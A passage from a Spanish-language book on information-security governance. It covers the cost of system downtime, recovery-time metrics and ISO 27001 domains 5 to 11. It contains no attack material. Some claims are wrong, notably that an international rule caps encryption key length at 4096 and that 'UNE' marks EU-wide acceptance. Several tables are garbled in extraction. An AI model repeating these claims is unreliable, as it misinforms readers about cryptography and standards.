Páginas Webs
Sistemas Operativos
Server
Client
Software Seguridad.
Antivirus-Anti-Malware
Backup-Restore
Sistemas Ofimáticos
Sistemas Correo-E.
Sistemas FTP
Motor Base de Datos
Lenguajes
ERP
CMR
Esta tabla además de ser fácil de interpretar por el uso de los colores nos da idea
aproximada de que tan grande es el riesgo, en función del número de
vulnerabilidades, prevaleciendo sobre todas las de tipo VA Vulnerabilidad de Alto
Riesgo que pueden obligarnos a investigar ¿por qué este activo físico o lógico
presenta este estado? un ejemplo clásico serían aquellos activos hardware que
se han dejado de fabricar, o de contratar su mantenimiento o aquellos que
superen los diez años de antigüedad, debido al fenómeno de la obsolescencia
programada de una parte y de otra la dificultad de reposición que a veces implica
por la no disponibilidad de recambios o por la dificultad de replicar la
configuración del mismo.
Otro aspecto que debemos estudiar es: si los activos físicos y lógicos están
interconectados, ejemplos las aplicaciones ERP / CRM todas estas aplicaciones
comparten datos, y por tanto vulnerabilidades, sobre ellas tienen un factor
multiplicador que debe ser tenido en cuenta a la hora de calcular el riesgo, que
implica no subsanar / erradicar sus vulnerabilidades o plantearse su sustitución
por otras herramientas más evolucionadas en el aspecto de la seguridad.
Exponemos aquí una taxonomía de Sistemas de Información, que nos parece

interesante para comprender, porque es tan importante garantizar: la correcta y
adecuada gestión de la seguridad de la información, en cada uno de los
diferentes niveles, de los que puede estar compuesta una organización.
Página 92 de 430
Página 93 de 430
Capítulo 7
Las conclusiones y la traducción a un término universal: el Coste.
Una vez tenemos el mapa de riesgos, con sus

activos correspondientes, es la hora de hacer
casar el mapa de riesgos y activos, lo que supone
que descartando los riesgos habituales, que
estamos obligados a tener cubiertos por ley, como
son los daños por Incendio, Agua y otros
accidentes naturales, nos queda ver cómo se
puede obtener el coste del daño y su reparación
posterior.
Para ello tenemos que hablar de tres posibles

situaciones generales, que afectan a los activos
de tipo de sistema, entendiendo por sistema en este caso particular Hardware y
Software, así como elementos de Telecomunicaciones, que hacen que una o
varias aplicaciones ejecuten las funciones para las que se adquirieron o se
desarrollaron. Coste por determinar.
Valor Actual del Bien. VAB0
El valor actual del bien, este valor se rige por criterios fiscales, y es sencillo para
el hardware, ya que por ejemplo un PC, un Servidor o una impresora de Red
deben de estar amortizado en un plazo máximo de tres años. Otra cosa es que
el criterio tributario coincida con nuestro criterio empresarial, pues es evidente
que un Servidor, una Impresora de Red o los PCs no se renuevan cada tres
años, salvo que estemos utilizando compras mediante alquiler con opción a
compra (leasing) y otras similares o haya una causa de fuerza mayor, que
justifique su cambio. En el tema del Software y dependiendo de qué tipo de
Software estemos hablando el valor puede desde mantenerse a desaparecer.
Valor Añadido del Bien. VAB1
El valor añadido al bien, se puede definir como en el conjunto de horas/hombre

invertido desde su instalación hasta hoy, calculando un precio medio por
hora/hombre a lo largo del tiempo, es lo que podríamos decir el valor de
adecuación del bien a la estructura empresarial que opera. Puede ser superior
al de compra y por supuesto al de mantenimiento, esto ocurre con los cambios
de versión y la migración de datos y funciones, que a veces no son compatibles
y obligan por volumen casi a una instalación inicial.
Página 94 de 430
Valor Añadido por Utilización. VBU0
Todo software / aplicación, tiene como valor el coste de los productos base
(Licencias) más las horas de adecuación/personalización/formación/hombre
necesarias, para cumplir la misión para el cual fue adquirido o desarrollado, este
valor está acotado en el tiempo, pero es como el valor de compra, no desaparece
y no se incrementa, sin embargo, sin datos y sin utilización, no tendría sentido
pues no podría evolucionar y acabaría por volverse obsoleto y desaparecer.
No olvidemos que la actividad empresarial y por ende los datos, se han de

acomodar a lo que dictan las leyes, las leyes cambian y algunas con carácter
anual, por ejemplo: las tributarias, por ello los datos por si mismos adquieren
valor porque se definen para un espacio de tiempo donde son válidos, luego
continúan siendo válidos, pero como un elemento más, de una larga cadena
sobre la cual desarrollar expectativas o posibilidades o proyectos.
Por tanto, debemos calcular la suma de todos valores a los que habrá que sumar
lo relativo a disponer de las copias de seguridad que sostienen este valor. Por
tanto, cuando hablamos de riesgo de un sistema y sus activos vinculados
debemos hablar de una expresión del siguiente tipo:
𝑛
𝑛 𝑁
∑ 𝑉𝐵𝐴0 + ∑ 𝑉𝐵1 + ∑ 𝑉𝐵𝑈1 = 𝑉𝐴𝐶𝑅

1 1
1
Donde VACR significa Valor del Activo Cálculo del Riesgo y todos los sumatorio
van de 1 a N porqué un sistema en nuestro caso es una suma de elementos
veamos un ejemplo sistema contable para un departamento contable con 17
personas, 2 Jefe Contables y 1 Director Financiero. El resultado es esta hoja
sencilla sin incluir los costes de adecuación al marco legal y sin incluir la carga
inicial del sistema desde otra aplicación de contabilidad.
Subtotales Coste / Día Hardware /

Hardware Precio Unitario Unidades Hardware Año Coste / Hora
Servidor de Red 10.000 € 1 10.000 € 27 € 3,42 €
Router 1.300 € 1 1.300 € 4€ 0,45 €
Firewall 3.509 € 1 3.509 € 10 € 1,20 €
PCs 400 € 17 6.800 € 19 € 2,33 €
Portátiles 500 € 2 1.000 € 3€ 0,34 €
Impresora Red 600 € 1 600 € 2€ 0,21 €
23.209 € 64 € 7,95 €
Subtotales Coste / Día Software /

Software Precio Unitario Licencias Software Año Coste / Hora
Windows Server 2016 882 € 1 882 € 2€ 0,30 €
SAP Business One 1.140 € 1 1.140 € 3€ 0,39 €
Oracle Enterprise 40.000 € 1 40.000 € 110 € 13,70 €
42.022 €
Subtotal Hardware + Software 65.231 € 194 € 24,27 €
RRHH Salario B/A RRHH Subtotales RRHH Coste / Día RRHH/ Año Coste / Hora
Página 95 de 430
Director Financiero 25.000,00 € 1 25.000,00 € 74,40 € 20,00 €

Tesoreros 18.000,00 € 2 36.000,00 € 107,14 € 14,40 €
Directores Contables 18.000,00 € 2 36.000,00 € 107,14 € 14,40 €
Contables 12.000 € 12 144.000,00 € 428,57 € 9,60 €
241.000,00 € 717,26 € 58,40 €
Total, Coste x Hora Parada 82,67 €
La conclusión económica, sin tener presente como señalamos en la página

anterior, ni la adecuación o personalización del programa, ni la carga inicial de
datos, sería que cada hora de parada, del área contable tendría un coste de
82,66 € / Hora. Teniendo en cuenta que el programa de contabilidad, es un caso
sencillo pues recibe información de otras áreas, si considerásemos: facturación,
producción, nominas, logística, todos estos costes se deberían sumar a los
costes de la parada del propio departamento contable, de ahí la importancia no
sólo de identificar las amenazas y vulnerabilidades, que afectan a cada una de
las áreas sino que además hay que ver áreas están interrelacionadas, situación
habitual cuando se utiliza un ERP donde todas las áreas están conectadas.
Por tanto los tiempos que utilizan para calcular el plazo de tiempo que puede
estar una compañía sin tener operativo su sistema de información, están en
relación directa del coste, lo que implica el no tenerlo disponible, más los costes
adicionales que supone añadir la información que se estuvo generando en
sistemas de soporte alternativo y que quizás no tenga implantado todos los
métodos de validación de datos, lo que supone que durante la carga para situar
el re arranque del sistema, requerirá una depuración de los datos nuevos
ocurridos durante la disrupción.
Recordemos que estos tiempos de los que hemos hablado, antes de ver cómo
vamos a segmentar cada riesgo y que acciones se tomaran de acuerdo una
política que debemos haber fijado en las primeras reuniones tanto del CSGSI
como del CSGA y que definen la política de riesgos.
Tiempo de Descripción
Recuperación
Magnitud de la pérdida de datos medida en términos de un
RPO
periodo de tiempo que puede tolerar un proceso de negocio.
Tiempo Disponible para Recuperar Sistemas y/o recursos que
RTO
han sufrido una alteración.
Tiempo Disponible para Recuperar Datos Perdidos una vez que
WRT los sistemas están reparados. Tiempo de Recuperación de
Trabajo.
Periodo Máximo Tiempo de Inactividad que puede tolerar la
MTD
Entidad sin entrar en colapso.
Página 96 de 430
Por tanto, cuando estamos definiendo tanto el BCPR como el DPR, es decir los
elementos fundamentales de la ISO 22301, deberíamos tener presente y en
mente la siguiente ecuación.
MTD Dpto(x) ≥ RPO + RTO Disrupción de Área
MTD Dpto(y) ≥ RPO + WRT → RPO ≤ RTO Disrupción Área Adyacente
Por tanto, además debemos presente que hay que elaborar un mapa de
interdependencias de datos, aunque los procesos y los procedimientos estén
separados por restricciones: legales, organizativas o funcionales.
Antes de añadir este elemento recordemos que debemos contar con los
siguientes mapas de datos para evaluar correctamente el riesgo antes de tomar
una decisión.
1.- Mapa de tipos de Auditorías realizadas recordamos: Redes, Sistemas

Operativos, Aplicaciones Corporativas (Correo y Suites Ofimáticas), así como
ERP y CMRs, como básicas, como deseables además de las ya indicadas Bases
de Datos y Desarrollo.
2.- Mapa de Vulnerabilidades resultado de las anteriores Auditorias para ver

que se tiene / puede remplazar / sustituir, que se puede actualizar, que se puede
reubicar en zonas menos expuestas al riesgo.
Estos dos conjuntos de datos son importantes para elaborar el tercer tipo de
mapa que es el de datos compartidos entre una o más áreas.
Mapa de Áreas – Sistemas – Interdependencia de Datos - Temporalidad
Área 1 Área 2 Sistemas Datos Comp. Periodicidad

Clientes.
Pedidos.
Ventas Facturación Facturación Artículos. Diaria
Urgencia
Datos Pago.
Urgencia.
Facturación Logística Provisión Pedidos. Semanal
Artículos.
Urgencia.
Pedidos.
Logística Contabilidad Contabilidad Semanal
Estado Entrega.
Estado Pago.
Como se puede deducir a partir de los datos de esta tabla de un supuesto, muy
simplificado tenemos: un sistema que tiene periodicidad diaria que es Ventas
que tiene un campo llamado Urgencia del Pedido que condiciona a los demás
sistemas que tienen una periodicidad semanal.
Página 97 de 430
Por tanto: Ventas sería un sistema de cual hay que garantizar su continuidad y
que además tiene una prioridad 1, en cuanto a recuperación y tiene por tanto el
mínimo valor dentro del MTD.
El siguiente sistema seria Provisión dado que salvo los pedidos urgentes el resto
de pedidos puede procesar con una demora de 5 días al igual que ocurre con su
proceso de contabilización por tanto Provisión tendría una prioridad 2 en cuanto
a recuperación y el siguiente valor mínimo dentro del MTD después del Ventas
y a la par con Facturación.
Y por último contabilidad, debido a que contabilidad sólo refleja hechos legales
y no supone aportación económica alguna, mientras los anteriores si suponen
aportación económica y por tanto sostén de los costes operacionales, de
funcionamiento de la empresa.
Por tanto, la tabla idónea seria la siguiente:
Área 1 Área 2 Sistemas Prioridad / MTD Periodicidad

MTD
Ventas Facturación Facturación 1 Diaria
1
Facturación Logística Provisión Diaria
2
Logística Contabilidad Contabilidad Semanal
Si tenemos los costes por hora de parada, de cada una de las áreas afectadas
tendríamos una tabla como la siguiente:
Sistemas MTD Costes de Parada

Máximo
Facturación 4 horas Ventas+ Facturación
Provisión 4 horas Facturación + Logística + Contabilidad
Contabilidad 8 horas Contabilidad + Logística+ Facturación + Ventas
Al final el riesgo ha de traducirse siempre a términos económicos y de tiempo

dado que son las dos magnitudes, más importantes, para la correcta gestión del
negocio.
Una vez que tenemos tanto el mapa de riesgo tecnológicos, como su

cuantificación en tiempo y en coste, podemos establecer que acciones vamos a
tomar respecto a los riesgos dado que tenemos tres posibilidades.
Página 98 de 430
Posibles acciones
1ª Asumirlo si es en términos de tiempo y coste sí es asumible.

2ª Mitigarlo en términos económicos mediante un seguro o varios.
3ª Transferirlo hacia un tercero que pase a prestar el servicio.
1ª Posibilidad Asumir Tiempo y Coste. El área implicada junto siempre con el

área financiera debe establecer umbrales por debajo de los cuales los costes en
tiempo y el coste económico se asume sin requerir acciones de consulta.
2ª Posibilidad Seguros y Reaseguros. Es posible que si la disrupción, es

importante tengamos que hacer frente a reclamaciones vía judicial, con la
consiguiente pérdida de reputación, aunque sea un tercero el responsable de la
disrupción, no siempre es posible ponerlo en conocimiento de los afectados, a
tiempo por lo que además de tener un seguro, que nos cubra frente a esas
indemnizaciones debemos tener en cuenta que tendremos que realizar una
campaña de información frente a los afectados para aclarar que la disrupción es
externa y ajena al servicio que prestamos. Por lo que además debemos tener
previsto vías alternativas y sistemas redundantes para que los usuarios no
perciban la disrupción o en caso de que la perciban de forma amortiguada.
3ª Posibilidad transferir a un tercero la prestación de un tipo determinado de

servicios. Es una medida complementaria a la anterior, para aquellos tipos de
organizaciones, que no quieren tener sistemas redundantes o alternativos, más
allá de los propios para garantizar la operativa interna mínima necesaria en caso
de disrupción. En algunos casos esta alternativa es más económica que ir a la
redundancia de sistemas y proveedores.
Es posible que las tres acciones se den bajo una misma empresa, dependiendo
de las áreas y de los tipos de servicios. El siguiente ejemplo es una definición de
la empresa española de seguros Mapfre y como evalúan los riesgos, así como
muestra los rangos y sus límites de tolerancia.
Página 99 de 430
Lo más importante es que una vez que hemos traducido a Tiempo y Costes, los
riesgos, hemos tomado consciencia de lo que nos puede ocurrir, sabemos cuáles
son los puntos más vulnerables para garantizar los tres atributos más
importantes de nuestro principal activo la información que son: la Integridad, la
Disponibilidad y la Confidencialidad de la misma.
Veamos que son cada uno de estos atributos, para comprender mejor el
concepto que hay tras el objetivo de la norma ISO 27001 Gestión de la Seguridad
de la Información, y luego veremos cómo los riesgos entiéndase vulnerabilidades
Software y sobre todo la Ingeniería Social puede hacer inservible toda la
información que nuestra empresa dispone sobre sí misma y sobre sus
proveedores y clientes a la vez.
Integridad de la Información Definición
Vigente 2017
Es la propiedad que busca mantener los datos

libres de modificaciones, no autorizadas. (No
es igual a integridad referencial en bases de
datos.) Grosso modo, la integridad es
mantener con exactitud la información tal
cual fue generada, sin ser manipulada ni
alterada por personas o procesos no
autorizado
La integridad también es la propiedad que

busca proteger que se modifiquen los datos
libres de forma no autorizada, para
salvaguardar la precisión y completitud de los recursos.
La violación de integridad se presenta cuando un empleado, programa o proceso
(por accidente o con mala intención) modifica o borra datos importantes que son
parte de la información.
La integridad garantiza que los datos permanezcan inalterados excepto cuando
sean modificados por personal autorizado, y esta modificación sea registrada,
asegurando su precisión y confiabilidad. La integridad de un mensaje se obtiene
adjuntándole otro conjunto de datos de comprobación de la integridad: la firma
digital es uno de los pilares fundamentales de la seguridad de la información.
Disponibilidad de la Información Definición Vigente 2017
La disponibilidad es la característica, cualidad o condición de la información de

encontrarse a disposición de quienes deben acceder a ella, ya sean personas,
procesos o aplicaciones. Grosso modo, la disponibilidad es el acceso a la
información y a los sistemas por personas autorizadas en el momento que
así lo requieran.
En el caso de los sistemas informáticos utilizados para almacenar y procesar la
información, los controles de seguridad utilizados para protegerlo, y los canales
Página 100 de 430

de comunicación protegidos que se utilizan para acceder a ella deben estar

funcionando correctamente.
La alta disponibilidad sistemas objetivo debe estar disponible en todo momento,
evitando interrupciones del servicio debido a cortes de energía, fallos de
hardware, y actualizaciones del sistema. Para ello se debe tener presente lo que
se muestra en la ilustración siguiente.
Garantizar la disponibilidad implica también la prevención de ataque

de denegación de servicio. Para poder manejar con mayor facilidad la
seguridad de la información, las empresas o negocios se pueden ayudar con un
sistema de gestión que permita conocer, administrar y minimizar los posibles
riesgos que atenten contra la seguridad de la información del negocio.
La disponibilidad además de ser importante en el proceso de seguridad de la
información es además variada en el sentido de que existen varios mecanismos
para cumplir con los niveles de servicio que se requiera. Tales mecanismos se
implementan en infraestructura tecnológica, servidores de correo electrónico, de
bases de datos, de web etc., mediante el uso de clústeres o sistemas
redundantes de discos, equipos en alta disponibilidad a nivel de red, servidores
espejo, replicación de datos, redes de almacenamiento (SAN), enlaces
redundantes, etc. La gama de posibilidades dependerá de lo que queremos
proteger y el nivel de servicio que se quiera proporcionar.
Página 101 de 430

Confidencialidad de Información Definición Disponible 2017
La confidencialidad es la propiedad que impide la divulgación de

información a individuos, entidades o procesos no autorizados. A grandes
rasgos, asegura el acceso a la información únicamente a aquellas personas
que cuenten con la debida autorización.
Por ejemplo, una transacción de tarjeta de crédito en Internet requiere que el
número de tarjeta de crédito a ser transmitida desde el comprador al comerciante
y el comerciante de a una red de procesamiento de transacciones. El sistema
intenta hacer valer la confidencialidad mediante el cifrado del número de la tarjeta
y los datos que contiene la banda magnética durante la transmisión de los
mismos. Si una parte no autorizada obtiene el número de la tarjeta en modo
alguno, se ha producido una violación de la confidencialidad.
La pérdida de la confidencialidad de la información puede adoptar muchas
formas. Cuando alguien mira por encima de su hombro, mientras usted tiene
información confidencial en la pantalla, cuando se publica información privada,
cuando un laptop con información sensible sobre una empresa es robado,
cuando se divulga información confidencial a través del teléfono, etc. Todos
estos casos pueden constituir una violación de la confidencialidad.
La confidencialidad es el único atributo de la información, que una vez que se ha
perdido no es recuperable, ya que está vinculado con toda una serie de
mecanismos cuya única misión es que sólo las personas y los procesos
autorizados, puedan acceder a los datos de forma transparente, mientras para
los no autorizados deben ser opacos e inutilizables, ello requiere el uso de
dispositivos hardware y avanzadas técnicas software, que permiten ocultar la
auténtica información a aquellos, que no están autorizados, mediante sistema
criptográficos, que convierten la transparencia en opacidad y viceversa sólo a los
autorizados, mediante la disponibilidad y garantizando la integridad
dimensiones vista en las dos anteriores definiciones a esta.
En este punto es cuando vamos a empezar en realidad hablar de la norma ISO
/ IEC 27001. Pero antes hagamos un recordatorio de los que llevamos realizado
antes de empezar con la aplicación de la norma tanto 27001 o 27002 y ver que
son los controles, como están organizados, a que se aplican, y que trabajos
deben hacer los auditores, para entregarnos un informe que nos sirva de base
cara a dos objetivos que son: Primero certificarnos, sí es lo que hemos decido,
con lo que ello implica y segundo el punto que es el re arranque para volver a
iniciar el ciclo de Deming o PDCA.
Página 102 de 430

En realidad, con independencia de alineación acreditación/certificación toda

organización debería acometer de un desempeño real de las Normas ISO 31000
Gestión del Riesgo (Empresarial) y por tanto también un desempeño de la norma
ISO / IEC 22301 que, aunque pueda parecer que afecta sólo a los sistemas
tecnológicos de la empresa, afecta tanto a los sistemas tecnológicos, como a los
no tecnológicos o sea de información. Hoy en día es imposible desvincularlos lo
que es importante es preparar a la organización para desarrollar de forma
correcta el proyecto, y esto implica una preparación previa, tanto por la parte de
TIC / SI como la parte la gestión del negocio, ya que como señalamos son los
responsables del Negocio, quienes deben clasificar y categorizar sus sistemas
de información y priorizarlos, así como deben participar de forma activa en la
identificación y clasificación de los riesgos, no tecnológicos, que afectan a su
área para posteriormente desarrollar de forma conjunta con TIC /SI la parte
correspondiente en el proyecto de recuperación, y restablecimiento operativo, en
caso de desastre o bien en los proyectos de cambios, eso significa implicación y
compromiso.
Quizás, aunque Usted lo no sepa, o no sea consciente de ello , cada día está
recibiendo aplicaciones directas, de normativas de la vida cotidiana, sobre su
persona, y eso es lo que a veces hacemos, cuando pedimos mejorar nuestras
comunicaciones, nuestros ordenadores, nuestras aplicaciones, etc… eso forma
parte activa tanto de la 31000 como de la 22301, ya que al mantener activos y
actualizados nuestros sistemas, nos volvemos más competitivos, que aquellos
que adoptan determinados sistemas y simplemente se limitan a operar con ellos
sin tener presente, que cabe la posibilidad de que ocurra un accidente / incidente
y que nos quedemos sin sistemas y sin información, y que ni siquiera tengamos
previsto sistemas alternativos, para frente a esas circunstancias, eso se traduce
en mala reputación por falta de previsión a la hora de garantizar los servicios
tanto a los clientes externos como internos de cualquier organización.
Página 103 de 430

Capítulo 8
La Nomenclatura y Estructura de las Normas

Normas ISO – ISO / IEC – ISO – UNE.
Me imagino que Usted se estará preguntando a estas alturas del libro porque
unas veces las normas se llaman ISO otras veces se llaman ISO / IEC y otras
veces aparecen como ISO-UNE.
Si la norma aparece como ISO o ISO – UNE quiere decir que se trata de una
norma de Gestión sin componentes técnicos de ningún tipo, sin embargo, cuando
aparece como ISO / IEC quiere indicar que tiene componentes técnicos de algún
tipo. Las letras UNE significa que esta aceptada por todos los países de la Unión
Europea.
Además de aclarar lo de la nomenclatura de las normas, con el número de que

identifica la temática o foco de atención, siempre tiene un formato como el
siguiente ISO/ IEC 27001:2013 después de identificar el tipo de norma, el objeto
de la norma siempre se acompaña de :año de publicación / vigencia esto es
debido a que las normas ISO sufren revisiones y cambios, y esto sirve para
indicar cuando se hace una Auditoria de Certificación / Acreditación que conjunto
de Dominios, Controles y Métricas se utilizaron para acreditar el cumplimiento de
lo que la norma establece para reconocer su desempeño esto es:
documentación, procedimientos, usos, y responsabilidades de cada una de las
tareas, así como registros y evidencias de cumplimiento.
Las normas eran muy heterogéneas, en cuanto a su organización, lo que

dificultaba su integración en macro sistemas, por lo que se decidió adoptar un
esquema único para todas ellas por lo que las más antiguas deberán adecuarse
al mismo y por él qué se regirán todas las posteriores al año 2013 este esquema
además mantener el formato relativo a la nomenclatura consta de las siguientes
partes:
Y dentro de este esquema también se estableció que los 4 primeros dominios

fueran los siguientes con independencia de si se trata de una norma de gestión
ISO / ISO- UNE o de una norma técnica ISO – IEC.
1.- Alcance
2.- Términos y Definiciones
3.- Referencias Normativas.
4.- Contexto de la Organización.
Página 104 de 430

5.- Liderazgo.
6.- Planificación.
7.- Soporte.
8.- Operación.
9.- Evaluación del desempeño.
10.- Mejora
Las partes enmarcadas son comunes a cualquier norma ISO. En nuestro caso al
hablar de la ISO 27001 debemos tener presentes los siguientes datos sobre la
norma son:
14 dominios 35 Objetivos de Control y 114 Controles.
Como hemos señalado los Dominios de 1 a 4 son universales y dado su

contenido, son más que otra cosa declaraciones de términos y referencias, salvo
el alcance que se acotara si aplica que partes de la organización en particular
van a ser sometidas a examen de certificación/acreditación. El punto 4 es
importante porqué una vez definido el alcance que debe ser aprobado por la
Dirección de la Empresa de forma conjunta con la empresa Auditoria y la
empresa Certificadora, dado que no pueden ser la misma, es aquí donde se
deben de crear tanto el Comité Central de Gestión de la Seguridad de la
Información CSGSI como el Comité Central del Sistema de Gestión de Activos
CSGA y puesto que toda la empresa trabaja con información ,se puede decir sin
lugar a equívocos que la 27001, es una norma de carácter global que afecta a
toda la organización.
Aunque se certifica utilizando la 27001, la 27002 señala el conjunto de buenas

prácticas que toda organización debería seguir, para poderse certificar por lo que
vamos a tomar a esta última, como referencia para ver que se espera de nuestra
organización desde la óptica de la entidad certificadora.
Página 105 de 430

Capítulo 9
Políticas Organización y Seguridad de la Información.

Dominio 5 & 6
El Dominio es el punto 5 y el punto 5.1

genera el primer documento
importante que es el documento,
donde se definen: las políticas de
seguridad de la información y que es
un documento de carácter general,
donde no se detalla en exceso, en que
consiste dicha política, pero que, si
explicita que conductas que se
consideran no aceptadas, dentro de la
organización; por ejemplo, el uso de
software pirata, o el uso de sistemas
de descarga de contenidos P2P;
serían ejemplos claros de esta
política. El punto 5.2 sólo establece con que periodicidad se revisará la política y
quien / quienes son responsable de la revisión.
El dominio 6 y 6.1.1. define que tiene que haber responsables de la seguridad

de la información, dentro de cada una de las áreas. Esto son los SGSI -A/D que
informan a su vez al CSGSI. La actividad 6.1.2 se tienen que definir un conjunto
de tareas que tienen que ver con la gestión de incidentes vinculados con la
información, así como con el cumplimiento legal, al que está obligada la
empresa, en el ámbito europeo la LOPD o Reglamento para la protección de
datos de carácter personal. Que define a su vez varias funciones respecto a la
información su guardia y custodia, su método de obtención, etc. Esto además de
ser especifico de la 27001 afecta a la norma ISO 19600 de cumplimiento de
requerimientos legales. Es obvio que en una organización las áreas más
afectadas por la asignación de responsabilidades son: Recursos Humanos, el
área Económico-Financiera y por supuesto el Departamento de Servicios
Generales que suele encargase de la Seguridad Física y por tanto del Control de
Accesos, relacionados con terceros y visitas. En cuanto a la gestión de la
información propiamente dichas dentro del área TIC los responsables más
afectados directamente tienen que ver con la gestión de control de accesos y la
monitorización de los mismos, mediante el estudio sistemático de logs del
sistema.
En cuanto a las actividades 6.1.3 - 6.1.4.son actividades reservadas para los

responsables de las áreas de negocio, así como la 6.1.5 que está vinculada con
la ISO 25100.
Página 106 de 430

Las actividades del grupo 6.2 son competición exclusiva del área TIC, así como
del área de asesoría legal y recursos humanos trabajando de forma conjunta con
el área de comunicaciones dentro del área TIC. Hay que señalar hay una
componente jurídica (contrato de trabajo y convenio de empresa) una
componente disciplinaria (uso adecuado y aceptado) de los recursos
tecnológicos y esto es competencia de recursos humanos y por último el control
de acceso tanto en modo local y como en modo remotos de los recursos
humanos con relación a ciertos trabajos.
Capítulo 10
Recursos Humanos.
Dominio 7
Los controles del dominio 7 el

relativos a Recursos Humanos son
de los conjuntos de controles más
difíciles de realizar, por ejemplo
7.1.1 y 7.1.2 debido a las múltiples
restricciones legales que existen,
muchas al amparo del reglamento
de la ley de protección de datos de
carácter personal. Casi nadie
comprueba los antecedentes
personales, dada la posibilidad real, de oponerse a que se faciliten datos de
empresas donde hubo: actuaciones desfavorables, o sencillamente omitiendo
datos de forma intencionada en el Curriculum. Tanto la asesoría legal como
recursos humanos deben dejar muy claro y bien establecido que todo el personal
puede ser monitorizando, siempre y cuando, no se vulneran ningún de los
preceptos recogidos en la ley que protege el secreto de las telecomunicaciones
incluyendo todos los métodos telemáticos posibles.
Los controles grupo 7.2 y en especial el 7.2.3 además de estar regulados por la
ley que protege el secreto de las comunicaciones en todas sus formas y
tecnologías, están regulados a su vez por los convenio sectoriales y
empresariales del ámbito del procedimiento laboral otra restricción adicional. El
control 7.2.3 y el 7.3.1 son controles que la mayoría de las organizaciones
desempeña de forma insatisfactoria, debido a las inexistentes comunicaciones
que existe entre Legal, Recursos Humanos, Seguridad Física y Control de
Accesos, pues es frecuente, que ex empleados, que han sido despedidos o que
han dejado la compañía sigan manteniendo sus cuentas de correo activas e
incluso sus accesos remotos, cosa que de haber una comunicación eficiente
entre las áreas señaladas no debería de ocurrir. De hecho, basta con realizar
una revisión rutinaria para comprobar que esto es práctica habitual cuando
debería ser un hecho aislado.
Página 107 de 430

El cambio de puesto o el despido de un empleado independientemente de su

nivel jerárquico, crea una situación especial, dado que solo un juez puede
determinar cuándo una relación contractual puede darse por finalizada, en caso
de despido, hasta que no se disponga de sentencia firme y no recurrible a
instancia superior, la empresa en su área jurídica de recursos y dentro del área
TIC Control de acceso en particular, deberían proceder de la siguiente forma,
para no incumplir ninguna garantía jurídica, crear una carpeta temporal donde
almacenar todos los documentos, proyectos y otros asuntos que el empleo
estuviera tratando antes del proceso disciplinario o despido, y trasvasar ahí todos
los documentos, proyectos, etc…, una vez transferidos a las personas que se le
asignen, la cuenta quedará bloqueada hasta la sentencia definitiva. El mismo
procedimiento es válido igualmente para un cambio de puesto lo que ocurre es
que el proceso es más simple, se crea la carpeta temporal se reasignan los
asuntos y sólo entonces se podrá dar de baja y alta en su nuevo grupo.
Capítulo 11
Gestión de Activos. ISO 55001

Dominio 8
El grupo 8 tiene que ver de

forma directa con la ISO
55001, con la gestión de
Activos de lo que
hablamos al principio y
que retomamos al hablar
de las vulnerabilidades y
amenazas por tanto del
riesgo. Todos los controles
del primer grupo, son
propios de la 55001 sin embargo todos los del grupo 2 que son específicos de la
27001 y tienen que ver tanto con Activos Físicos como Lógicos, aquí se incluirá
también la nuble, ya que antes de subir información sensible a la nube, debemos
tomar todas las precauciones posibles desde seleccionar métodos de
segmentación y encriptado de información que sean robustos y fiables, precarga
en la nube, pasando por la redundancia en soporte y ubicaciones múltiples.
El grupo de controles del tercer bloque tiene mucho que ver con la seguridad
física y con la Ingeniería Social. También en este tercer bloque hay una
referencia a la ISO 14001 cuando hablamos de la eliminación de soportes de
almacenamiento, desde papel a todos los medios, tanto electromagnéticos como
ópticos, que deben ser destruidos, bajo un estricto control para evitar fugas de
información, de todo nivel y clase, que además también puede generar
incumplimientos respecto al reglamento de protección de datos de carácter
personal.
Página 108 de 430

Es adecuado y necesario, realizar peritajes tanto: si la destrucción se realiza de

forma interna, más cuando se transfiere a un tercero, en especial con todos los
medios electromagnéticos y ópticos. Es muy importante tener un control físico
mediante documentos e imágenes de los soportes, que se retiran anotando
incluso los números de serie en el caso de las unidades de disco duro.
Capítulo12
Control de Accesos Físicos y Lógicos

Dominio 9
El grupo 9 el control de
accesos como hablamos
cuando nos referimos al
dominio 7 Recursos Humanos
es uno de las más complejos
de implantar de forma
satisfactoria.
La política de control de
accesos implica tanto al
personal internos, como al
personal externo y las visitas.
Se debe definir de forma

específica dentro del grupo
9.1 en el control 9.1.2 el uso
de protocolos seguros y la
aplicación de restricciones
para aquellos protocolos o recursos de los sistemas operativos en los clientes de
las redes que no cumplan un nivel mínimo de seguridad. Como es lógico todo el
bloque de controles del 9.2 depende en gran medida del tipo de sistema
operativo Servidor / Cliente que se tenga en uso y operación, teniendo siempre
presente que tanto el Sistema Operativo del Servidor como el de Cliente están
debidamente actualizados y que los recursos críticos relacionados con la
seguridad en ambos entornos no son accesibles a los usuarios habituales que
deberán operar con el principio del mínimo privilegio salvo que la aplicación no
permita su uso en esta modalidad.
Es importante tener presente que los controles dentro del bloque 9.2 y 9.4
además de aplicarse a los Sistemas Operativos tanto Clientes como Servidor
interactúan de una forma íntima con las Redes, por lo que cuando se realice la
Auditoria de Redes y de Sistemas Operativos se realizarán dos veces los mismos
controles, debiéndose obtener resultados idénticos en ambas ocasiones.
Página 109 de 430

Es muy importante tener patrones de comportamiento y usuarios creados que se

correspondan con estereotipos de usuarios reales para verificarlo contra
aplicaciones al menos a nivel de acceso. Es muy importante verificar todo lo
relativo a la gestión de contraseñas a través de un ciclo de vida completo.
Además de las Auditorias de Red y Sistemas Operativos, todos las aplicaciones
y procesos de integración deberán ser validos mediante la Auditoria de
Desarrollo y de Base de Datos en especial todo lo relativo a las inyecciones de
tipo SQL.
En la próxima sección vamos analizar las secciones 10 y 11 de la norma que

tienen que ver con la criptografía y con la seguridad ambiental y de las
instalaciones que además se relacionan no sólo con normas ISO-IEC sino con
otras normativas como son en este caso la TIA 942 y sus normas asociadas de
las cuales hablaremos de manera muy sucinta.
Capítulo 13 y 14
Cifrado y Seguridad Física y Ambiental.

Dominios 10 -11 - ISO 14001
10.1.1 y 10.1.2 En lo relativo a

la criptografía la única
restricción existente y que está
establecida a nivel
internacional es la longitud
máxima de la cadena que se
utiliza para cifrar la
información, de acuerdo con el
algoritmo seleccionado, que
está fijada en una longitud
máxima de 4096.
11. Seguridad Física y

Ambiental. En esta sección
además de las normas
habituales, intervienen
normas que no son del ámbito
ISO, sino de la IFT e incluso de los gobiernos de cada país donde está regulada
por ley las funciones de las empresas de seguridad privada.
11.1.1 Es función de los vigilantes de seguridad privada el control, relativo al

perímetro de la seguridad física de la instalación mediante los medios
disuasorios permitidos por ley como el vallado, la video vigilancia, las rondas
perimetrales, uso de sensores de movimiento, etc.
Página 110 de 430

